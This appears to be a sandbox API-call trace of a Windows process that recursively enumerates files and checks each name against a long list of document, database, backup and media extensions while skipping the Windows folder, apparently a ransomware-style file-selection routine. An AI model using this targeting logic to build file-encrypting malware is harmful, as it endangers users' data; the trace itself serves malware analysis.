[0262.546] lstrlenW (lpString=".asa") returned 4 [0262.546] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.546] lstrlenW (lpString=".asc") returned 4 [0262.546] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.546] lstrlenW (lpString=".ascx") returned 5 [0262.547] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.547] lstrlenW (lpString=".asm") returned 4 [0262.547] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.547] lstrlenW (lpString=".asmx") returned 5 [0262.547] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.547] lstrlenW (lpString=".asp") returned 4 [0262.547] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.547] lstrlenW (lpString=".aspx") returned 5 [0262.547] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.547] lstrlenW (lpString=".asr") returned 4 [0262.547] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.547] lstrlenW (lpString=".asx") returned 4 [0262.547] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.547] lstrlenW (lpString=".avi") returned 4 [0262.547] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.547] lstrlenW (lpString=".avs") returned 4 [0262.548] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.548] lstrlenW (lpString=".backup") returned 7 [0262.548] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.548] lstrlenW (lpString=".bak") returned 4 [0262.548] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.548] lstrlenW (lpString=".bay") returned 4 [0262.548] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.548] lstrlenW (lpString=".bd") returned 3 [0262.548] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.548] lstrlenW (lpString=".bin") returned 4 [0262.548] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.548] lstrlenW (lpString=".bmp") returned 4 [0262.548] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.548] lstrlenW (lpString=".bz2") returned 4 [0262.548] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.548] lstrlenW (lpString=".c") returned 2 [0262.548] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.548] lstrlenW (lpString=".cdr") returned 4 [0262.548] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.548] lstrlenW (lpString=".cer") returned 4 [0262.549] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.549] lstrlenW (lpString=".cf") returned 3 [0262.549] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.549] lstrlenW (lpString=".cfc") returned 4 [0262.549] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.549] lstrlenW (lpString=".cfm") returned 4 [0262.549] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.549] lstrlenW (lpString=".cfml") returned 5 [0262.549] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.549] lstrlenW (lpString=".cfu") returned 4 [0262.549] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.549] lstrlenW (lpString=".chm") returned 4 [0262.549] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.549] lstrlenW (lpString=".cin") returned 4 [0262.549] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.549] lstrlenW (lpString=".class") returned 6 [0262.549] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.549] lstrlenW (lpString=".clx") returned 4 [0262.549] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.549] lstrlenW (lpString=".config") returned 7 [0262.549] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.549] lstrlenW (lpString=".cpp") returned 4 [0262.549] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.549] lstrlenW (lpString=".cr2") returned 4 [0262.550] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.550] lstrlenW (lpString=".crt") returned 4 [0262.550] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.550] lstrlenW (lpString=".crw") returned 4 [0262.550] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.550] lstrlenW (lpString=".cs") returned 3 [0262.550] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.550] lstrlenW (lpString=".css") returned 4 [0262.550] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.550] lstrlenW (lpString=".csv") returned 4 [0262.550] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.550] lstrlenW (lpString=".cub") returned 4 [0262.550] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.550] lstrlenW (lpString=".dae") returned 4 [0262.550] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.550] lstrlenW (lpString=".dat") returned 4 [0262.550] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.550] lstrlenW (lpString=".db") returned 3 [0262.550] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.550] lstrlenW (lpString=".dbf") returned 4 [0262.550] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.550] lstrlenW (lpString=".dbx") returned 4 [0262.551] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.551] lstrlenW (lpString=".dc3") returned 4 [0262.551] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.551] lstrlenW (lpString=".dcm") returned 4 [0262.551] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.551] lstrlenW (lpString=".dcr") returned 4 [0262.551] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.551] lstrlenW (lpString=".der") returned 4 [0262.551] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.551] lstrlenW (lpString=".dib") returned 4 [0262.551] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.551] lstrlenW (lpString=".dic") returned 4 [0262.551] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.551] lstrlenW (lpString=".dif") returned 4 [0262.551] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.551] lstrlenW (lpString=".divx") returned 5 [0262.551] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.551] lstrlenW (lpString=".djvu") returned 5 [0262.551] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.551] lstrlenW (lpString=".dng") returned 4 [0262.551] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.551] lstrlenW (lpString=".doc") returned 4 [0262.552] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.552] lstrlenW (lpString=".docm") returned 5 [0262.552] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.552] lstrlenW (lpString=".docx") returned 5 [0262.552] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.552] lstrlenW (lpString=".dot") returned 4 [0262.552] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.552] lstrlenW (lpString=".dotm") returned 5 [0262.552] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.552] lstrlenW (lpString=".dotx") returned 5 [0262.552] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.552] lstrlenW (lpString=".dpx") returned 4 [0262.552] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.552] lstrlenW (lpString=".dqy") returned 4 [0262.553] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.553] lstrlenW (lpString=".dsn") returned 4 [0262.553] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.553] lstrlenW (lpString=".dt") returned 3 [0262.553] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.553] lstrlenW (lpString=".dtd") returned 4 [0262.553] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.553] lstrlenW (lpString=".dwg") returned 4 [0262.553] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.553] lstrlenW (lpString=".dwt") returned 4 [0262.553] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.553] lstrlenW (lpString=".dx") returned 3 [0262.553] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.553] lstrlenW (lpString=".dxf") returned 4 [0262.553] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.553] lstrlenW (lpString=".edml") returned 5 [0262.553] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.553] lstrlenW (lpString=".efd") returned 4 [0262.553] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.554] lstrlenW (lpString=".elf") returned 4 [0262.554] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.554] lstrlenW (lpString=".emf") returned 4 [0262.554] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.554] lstrlenW (lpString=".emz") returned 4 [0262.554] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.554] lstrlenW (lpString=".epf") returned 4 [0262.554] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.554] lstrlenW (lpString=".eps") returned 4 [0262.554] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.554] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.555] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0262.555] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0262.555] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0262.555] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no") returned 105 [0262.555] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no") returned 1 [0262.555] lstrlenW (lpString="nb-no") returned 5 [0262.555] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nb-no") returned -1 [0262.555] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0262.555] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no") returned 105 [0262.555] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0262.556] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.556] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.556] lstrlenW (lpString="ui-strings.js") returned 13 [0262.556] lstrlenW (lpString=".1cd") returned 4 [0262.556] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.556] lstrlenW (lpString=".3ds") returned 4 [0262.556] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.556] lstrlenW (lpString=".3fr") returned 4 [0262.557] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.557] lstrlenW (lpString=".3g2") returned 4 [0262.557] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.557] lstrlenW (lpString=".3gp") returned 4 [0262.557] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.557] lstrlenW (lpString=".7z") returned 3 [0262.557] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.557] lstrlenW (lpString=".accda") returned 6 [0262.557] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.557] lstrlenW (lpString=".accdb") returned 6 [0262.557] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.557] lstrlenW (lpString=".accdc") returned 6 [0262.557] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.557] lstrlenW (lpString=".accde") returned 6 [0262.557] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.557] lstrlenW (lpString=".accdt") returned 6 [0262.557] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.557] lstrlenW (lpString=".accdw") returned 6 [0262.557] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.557] lstrlenW (lpString=".adb") returned 4 [0262.557] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.557] lstrlenW (lpString=".adp") returned 4 [0262.557] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.557] lstrlenW (lpString=".ai") returned 3 [0262.558] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.558] lstrlenW (lpString=".ai3") returned 4 [0262.558] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.558] lstrlenW (lpString=".ai4") returned 4 [0262.558] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.558] lstrlenW (lpString=".ai5") returned 4 [0262.558] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.558] lstrlenW (lpString=".ai6") returned 4 [0262.558] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.558] lstrlenW (lpString=".ai7") returned 4 [0262.558] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.558] lstrlenW (lpString=".ai8") returned 4 [0262.558] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.558] lstrlenW (lpString=".anim") returned 5 [0262.558] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.558] lstrlenW (lpString=".arw") returned 4 [0262.558] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.558] lstrlenW (lpString=".as") returned 3 [0262.558] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.558] lstrlenW (lpString=".asa") returned 4 [0262.558] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.558] lstrlenW (lpString=".asc") returned 4 [0262.558] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.559] lstrlenW (lpString=".ascx") returned 5 [0262.559] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.559] lstrlenW (lpString=".asm") returned 4 [0262.559] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.559] lstrlenW (lpString=".asmx") returned 5 [0262.559] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.559] lstrlenW (lpString=".asp") returned 4 [0262.559] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.559] lstrlenW (lpString=".aspx") returned 5 [0262.559] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.559] lstrlenW (lpString=".asr") returned 4 [0262.559] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.559] lstrlenW (lpString=".asx") returned 4 [0262.559] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.559] lstrlenW (lpString=".avi") returned 4 [0262.559] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.559] lstrlenW (lpString=".avs") returned 4 [0262.559] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.559] lstrlenW (lpString=".backup") returned 7 [0262.559] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.559] lstrlenW (lpString=".bak") returned 4 [0262.559] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.560] lstrlenW (lpString=".bay") returned 4 [0262.560] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.560] lstrlenW (lpString=".bd") returned 3 [0262.560] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.560] lstrlenW (lpString=".bin") returned 4 [0262.560] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.560] lstrlenW (lpString=".bmp") returned 4 [0262.560] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.560] lstrlenW (lpString=".bz2") returned 4 [0262.560] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.560] lstrlenW (lpString=".c") returned 2 [0262.560] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.560] lstrlenW (lpString=".cdr") returned 4 [0262.560] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.560] lstrlenW (lpString=".cer") returned 4 [0262.560] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.560] lstrlenW (lpString=".cf") returned 3 [0262.560] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.560] lstrlenW (lpString=".cfc") returned 4 [0262.560] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.560] lstrlenW (lpString=".cfm") returned 4 [0262.560] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.560] lstrlenW (lpString=".cfml") returned 5 [0262.561] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.561] lstrlenW (lpString=".cfu") returned 4 [0262.561] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.561] lstrlenW (lpString=".chm") returned 4 [0262.561] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.561] lstrlenW (lpString=".cin") returned 4 [0262.561] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.561] lstrlenW (lpString=".class") returned 6 [0262.561] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.561] lstrlenW (lpString=".clx") returned 4 [0262.561] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.561] lstrlenW (lpString=".config") returned 7 [0262.561] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.561] lstrlenW (lpString=".cpp") returned 4 [0262.561] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.561] lstrlenW (lpString=".cr2") returned 4 [0262.561] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.561] lstrlenW (lpString=".crt") returned 4 [0262.561] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.561] lstrlenW (lpString=".crw") returned 4 [0262.561] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.561] lstrlenW (lpString=".cs") returned 3 [0262.561] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.561] lstrlenW (lpString=".css") returned 4 [0262.561] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.561] lstrlenW (lpString=".csv") returned 4 [0262.561] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".cub") returned 4 [0262.562] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".dae") returned 4 [0262.562] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".dat") returned 4 [0262.562] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".db") returned 3 [0262.562] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.562] lstrlenW (lpString=".dbf") returned 4 [0262.562] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".dbx") returned 4 [0262.562] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".dc3") returned 4 [0262.562] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".dcm") returned 4 [0262.562] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".dcr") returned 4 [0262.562] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".der") returned 4 [0262.562] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".dib") returned 4 [0262.562] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.562] lstrlenW (lpString=".dic") returned 4 [0262.563] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.563] lstrlenW (lpString=".dif") returned 4 [0262.563] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.563] lstrlenW (lpString=".divx") returned 5 [0262.563] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.563] lstrlenW (lpString=".djvu") returned 5 [0262.563] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.563] lstrlenW (lpString=".dng") returned 4 [0262.563] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.563] lstrlenW (lpString=".doc") returned 4 [0262.563] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.563] lstrlenW (lpString=".docm") returned 5 [0262.563] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.563] lstrlenW (lpString=".docx") returned 5 [0262.563] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.563] lstrlenW (lpString=".dot") returned 4 [0262.563] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.563] lstrlenW (lpString=".dotm") returned 5 [0262.563] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.563] lstrlenW (lpString=".dotx") returned 5 [0262.564] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.564] lstrlenW (lpString=".dpx") returned 4 [0262.564] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.564] lstrlenW (lpString=".dqy") returned 4 [0262.564] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.564] lstrlenW (lpString=".dsn") returned 4 [0262.564] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.564] lstrlenW (lpString=".dt") returned 3 [0262.564] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.564] lstrlenW (lpString=".dtd") returned 4 [0262.564] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.564] lstrlenW (lpString=".dwg") returned 4 [0262.564] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.564] lstrlenW (lpString=".dwt") returned 4 [0262.564] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.564] lstrlenW (lpString=".dx") returned 3 [0262.564] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.564] lstrlenW (lpString=".dxf") returned 4 [0262.564] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.564] lstrlenW (lpString=".edml") returned 5 [0262.564] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.564] lstrlenW (lpString=".efd") returned 4 [0262.564] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.564] lstrlenW (lpString=".elf") returned 4 [0262.564] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.564] lstrlenW (lpString=".emf") returned 4 [0262.564] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".emz") returned 4 [0262.565] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".epf") returned 4 [0262.565] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".eps") returned 4 [0262.565] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".epsf") returned 5 [0262.565] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.565] lstrlenW (lpString=".epsp") returned 5 [0262.565] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.565] lstrlenW (lpString=".erf") returned 4 [0262.565] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".exr") returned 4 [0262.565] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".f4v") returned 4 [0262.565] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".fido") returned 5 [0262.565] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0262.565] lstrlenW (lpString=".flm") returned 4 [0262.565] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".flv") returned 4 [0262.565] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".frm") returned 4 [0262.565] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".fxg") returned 4 [0262.565] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0262.565] lstrlenW (lpString=".geo") returned 4 [0262.565] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0262.566] lstrlenW (lpString=".gif") returned 4 [0262.566] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0262.566] lstrlenW (lpString=".grs") returned 4 [0262.566] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0262.566] lstrlenW (lpString=".gz") returned 3 [0262.566] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0262.566] lstrlenW (lpString=".h") returned 2 [0262.566] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0262.566] lstrlenW (lpString=".hdr") returned 4 [0262.566] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0262.566] lstrlenW (lpString=".hpp") returned 4 [0262.566] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0262.566] lstrlenW (lpString=".hta") returned 4 [0262.566] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0262.566] lstrlenW (lpString=".htc") returned 4 [0262.566] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0262.566] lstrlenW (lpString=".htm") returned 4 [0262.566] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0262.566] lstrlenW (lpString=".html") returned 5 [0262.566] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0262.566] 